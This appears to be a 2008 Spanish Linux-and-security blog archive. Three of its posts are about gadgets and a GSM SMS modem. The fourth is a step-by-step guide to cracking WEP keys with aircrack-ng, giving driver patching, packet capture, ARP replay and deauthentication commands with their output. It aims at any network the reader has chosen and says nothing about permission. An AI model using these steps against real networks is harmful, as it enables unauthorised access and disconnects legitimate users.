Senda Oscura

Linux y Seguridad

Archive for April, 2008


BluePad - Controla tu PC desde el móvil

¿Quién no ha querido alguna vez tener un mando a distancia para manejar su PC? Cierto que hoy en día los equipos orientados a media center ya traen uno incorporado, pero si, al igual que yo, no eres el afortunado poseedor de uno de esos, tranquilo. Ahora gracias a BluePad ya puedes convertir tu móvil (con bluetooth) en un buen control remoto.

La aplicación consta de dos programas: uno para instalarlo en el PC y otro, escrito en Java, para instalarlo en el móvil. Así pues, los requisitos mínimos son que el móvil soporte Java y tenga Bluetooth, aunque como dice el autor puedes encontrar algún problema en algún modelo concreto. En la web oficial tienes una lista de los modelos en los que han sido testeado.

A parte de la utilidad obvia de ver pelis mientras estás tranquilamente acostado en la cama, también puede servirte como mando a distancia para las presentaciones. En fin, una idea original que no podemos dejar de tener en cuenta.

Y ahora un video para que veas como funciona:

No está mal, ¿verdad?

Modem GSM - Centralita de SMS

Estos días he estado programando un modem GSM para un concurso que ha sacado el Cabildo de Gran Canaria con motivo del día del libro, éste consiste básicamente en enviar relatos cortos vía SMS, estos relatos son publicados en una web y lo más votados serán premiados. Antes que nada quiero aplaudir desde aquí tan novedosa iniciativa, podéis informaros del concurso en la web www.relatoscortosxsms.com/.

Y ahora a lo que iba, el terminal que he estado usando es el TC35i de Siemems y la verdad es que me ha sorprendido el mundo de posibilidades que se abre ante nosotros gracias a este pequeño dispositivo. Basta conectarlo al ordenador e insertarle una tarjeta SIM (yo trabajé con una prepago) y ya podemos dar rienda suelta a nuestra imaginación: recibir un sms cada vez que tengamos un correo nuevo o se active un nuevo evento en nuestra agenda, enviar comandos a nuestro equipo vía SMS (activar/desactivar servicios, ejecutar reglas iptables, incluso hacer redirecciones en nuestro router)… y si tenemos la casa domotizada ya ni te cuento. En definitiva, control total vía SMS… y eso por no hablar de los concursos que nos podemos montar en nuestra propia casa.

El modem se controla a través de un puerto serie vía comandos AT. Dicho así puede parecer complicado, pero lo cierto es que si tienes conocimientos de programación te resultará bastante sencillo.

Ya sabes, por un módico precio tienes un mundo de posibilidades vía SMS.

Un reloj para dormir mejor

A veces descubrimos inventos que nos dejan con la boca abierta, tanto por su originalidad como porque no pensabamos que fuera posible hacer algo así. Eso exactamente fue lo que me pasó cuando descubrí este curioso gadget: SleepTracker

Foto Reloj

Este ingenio monitoriza tu cuerpo durante las horas de sueño y analiza los distintos estados por los que va pasando, de tal forma que al día siguiente podrás ver en el ordenador una gráfica que te indica lo bien que has dormido y la duración de cada uno de tus ciclos de sueño. Pero lo más increíble de este reloj es su función de despertador: tu le indicas la hora a la que quieres levantarte (como a cualquier otro despertador) y él monitoriza tus constantes unos 40 min. antes de la hora señalada. Si durante ese tiempo detecta que tu ciclo de sueño está cercano al despertar, te despierta en ese momento, lo que te hace sentirte bastante más fresco y relajado que si te despertaras durante una fase más profunda del ciclo de sueño, además te permitirá ganar algunos minutos extras, lo que nunca viene mal.

Además este reloj tiene otras interesantes funciones entre las que cabe destacar un despertardor por vibración, ideal si no quieres despertar a nadie más. Sin duda un gadget a tener en cuenta.

La guía definitiva para romper claves WEP (con clientes conectados)

Sí, tengo un poco abandonado el blog y no voy a justificarme… la vida es así. Pero bueno, por fin he encontrado un rato para escribir la guía que tantos me habéis pedido, una guía paso a paso sobre como romper claves WEP. He decidido dividir la guía en dos partes diferenciadas por su contenido. En ésta exploraremos como hacernos con las contraseñas de esas redes que tienen clientes wifi conectados y ya en la segunda, atacaremos las redes que aunque ofrecen cobertura wifi nadie se conecta (legítimamente) a ellas. Bien, comencemos sin más preámbulos:

Réquisitos Previos

* Tener Linux (por supuesto), o al menos cualquier distribución Live como por ejemplo Knoppix-STD.

* Descargar la última versión del aircrack-ng (es importante que descarges una versión superior a la 0.94).

Instalar el aircrack-ng

Si como te dije en requisitos previos has descargado el aircrack-ng desde la web, ahora toca instalarlo:

$ tar xzf aircrack-ng-1.0-beta2.tar.gz

$ cd aircrack-ng-1.0-beta2/

$ make

$ sudo make install

Si no me has hecho caso e instalaste el aircrack-ng desde tu gestor de paquetes (apt-get, yum, o el que sea) comprueba que la versión sea superior a la 0.94 y si no es así, bájalo desde la web e instálalo.

Parchear los drivers de la tarjeta de red

Los drivers originales de la tarjeta de red normalmente no permiten inyectar tráfico en una wifi, es decir, generar paquetes a medida e inyectarlos en la red para lograr nuestros objetivos. Por lo tanto, se hace necesario parchear los drivers de nuestra tarjeta de red. Para saber que tarjeta de red estás usando prueba con:

$ lspci | grep Network
0c:00.0 Network controller: Intel Corporation PRO/Wireless 3945ABG Network Connection (rev 02)

En la págian oficial del aircrack-ng encontrarás un montón de parches para diferentes drivers. Elige el que corresponda a tu tarjeta y luego parchea tu kernel. No te asustes, no es complicado (si tu driver es exactamente el que aparece arriba, sáltate los siguientes pasos):

1. Busca las fuentes de tu kernel, normalmente deberían estar en /usr/src/linux (si no las tienes, descárgalas desde www.kernel.org).

2. Baja el parche a /usr/src

3. Aplica el parche con el comando patch:

# cd /usr/src/linux

# patch -p1 < /usr/src/nombre.parche

4. Compila e instala el nuevo kernel (déjame un comentario si tienes problemas para hacer esto).

PERO si tu tarjeta de red es igual que la mía Intel Corporation PRO/Wireless 3945ABG estás de suerte, porque te voy a explicar el procedimiento paso a paso ;)

Este driver no está entre los que podemos encontrar en la web del aircrack-ng, sin embargo existe una página alternativa en donde podemos descargárnoslo: http://homepages.tu-darmstadt.de/~p_larbig/wlan/

1. Nos descargamos la última versión

$ wget http://homepages.tu-darmstadt.de/~p_larbig/wlan/ipwraw-ng-2.3.4-04022008.tar.bz2

2. Ahora necesitamos los fuentes del núcleo. Si hemos compilado nuestro propio kernel, ya tendremos los fuentes. Si estamos usando una versión precompilada del kernel, necesitamos las cabeceras. Si usas Debian o Ubuntu bájate las cabeceras de una forma similar a la siguiente:

# uname -a

Linux Darky 2.6.18-5-686 #1 SMP Tue Nov 20 13:39:58 WET 2007 i686 GNU/Linux

# apt-get install linux-headers-2.6.18-5-686

Si las cabeceras que estás intentando instalar ya no se encuentran en el repositorio de tu distribución, tendrás que actualizar tu kernel a una versión más reciente vía apt-get y luego instalar las cabeceras.

3. Instalamos el driver

# tar xjf ipwraw-ng-2.3.4-04022008.tar.bz2

# cd ipwraw-ng

# make

# make install

# make install_ucode

4. Descargamos el driver original y usamos el parcheado (ATENCIÓN: el nuevo driver no sirve para navegar normalmente, así que sólo lo cargaremos cuando vayamos a monitorizar/inyectar paquetes).

# rmmod ipw3945

# modprobe ipwraw

Fijar un objetivo

Supongo que si estás leyendo este tutorial es porque ya le has echado el ojo a alguna red, pero si no es así lo primero que tenemos que tener claro es que red vamos a atacar y obtener unos cuantos datos sobre ella. Hay muchas formas de hacer esto, pero ya que estamos usando aircrack-ng emplearemos la utilidad de monitoreo que trae este kit. Así pues, primero echamos un vistazo a las redes disponibles:

# airodump-ng eth2

—-

CH 10 ][ Elapsed: 12 s ][ 2008-04-08 11:23

BSSID PWR Beacons #D, #/s CH MB ENC CIPHER AUTH ESSID

00:14:51:74:5E:FF 0 20 69 0 6 54 WEP WEP air_wifi

BSSID STATION PWR Rate Lost Packets Probes

00:14:51:74:5E:FF 00:18:DE:10:99:3B 0 0- 0 0 5
00:14:51:74:5E:FF 00:12:F0:06:62:5A 0 0- 0 209 70

—-

Hemos detectado una red con dos clientes conectados. Ahora necesitamos obtener la máxima información de esa red (capturar todos los paquetes de datos entres los clientes y el punto de acceso), así que volvemos a relanzar el airodump-ng pero incluyendo opciones para que sólo capture paquetes de esa red. Además, debemos guardar todo lo capturado en un fichero, que nos será de gran utilidad más tarde.

# airodump-ng –bssid 00:14:51:74:5E:FF –channel 6 –write captura eth2

El BSSID y el CHANNEL lo obtenemos de la anterior ejecución del airodump.

Acelerar el proceso

Para poder romper una clave WEP necesitamos capturar un elevado número de paquetes útiles, para acelerar el proceso de captura de datos usaremos la combinaicón de dos técnicas: ARP Replay y DeAuth.

Con la primera técnica pondremos a nuestro equipo a escuchar y cada vez que capture un paquete ARP lo reenviará hasta la saciedad, con la segunda forzaremos a los clientes legítimos a desconectarse, lo que implica que tendrán que iniciar el proceso de conexión nuevamente y por lo tanto generarán una oleada de paquetes ARP que nuestro anterior ataque se encargará de utilizar provechosamente.

Ataque ARP Replay

Para llevar a cabo este ataque, lo primero es registrar nuestro equipo en la wifi (requiere que hayamos parcheado los drivers de nuestra tarjeta de red).

Así pues, necesitamos la MAC de nuestra tarjeta wifi:

# ifconfig eth2
eth2 Link encap:UNSPEC HWaddr 00-19-D2-6D-1E-01-F4-FF-00-00-00-00-00-00-00-00
UP BROADCAST NOTRAILERS RUNNING PROMISC ALLMULTI MTU:2346 Metric:1
RX packets:15373 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1874966 (1.7 MiB) TX bytes:0 (0.0 b)
Interrupt:17 Base address:0xc000 Memory:efdff000-efdfffff

La MAC son los 6 primeros pares de dígitos que encontramos tras HWaddr, en mi caso sería: 00:19:D2:6D:1E:01

Con este dato y con los que tenemos del paso anterior ya podemos iniciar el ataque:

Primero, nos registramos:

# aireplay-ng -1 0 -e air_wifi -a 00:14:51:74:5E:FF -h 00:19:D2:6D:1E:01 eth2
18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful :-)

Luego dejamos funcionando el ataque ARP Replay:

# aireplay-ng -3 -b 00:14:51:74:5E:FF -h 00:19:D2:6D:1E:01 eth2

Y ahora lanzamos el ataque DeAuth para desconectar a los clientes legítimos:

# aireplay-ng -0 1 -a 00:14:51:74:5E:FF eth2

Si todo va bien, veremos como la ventana donde hemos puesto a funcionar el ataque “ARP Replay” comienza a llenarse con actividad de paquetes enviados. Y también veremos como la ventana del airodump-ng comienza a registrar una cantidad notable de tráfico y lo que es más importante, muchos paquetes con vectores IV útiles.

Después de capturar suficientes paquetes sólo nos queda poner a funcionar el aircrack-ng

# aircrack-ng captura.cap

Y a esperar a que obtenga la ansiada clave. Bueno, espero vuestros comentarios, sugerencias y correcciones. Ya escribiré la segunda parte un año de estos :P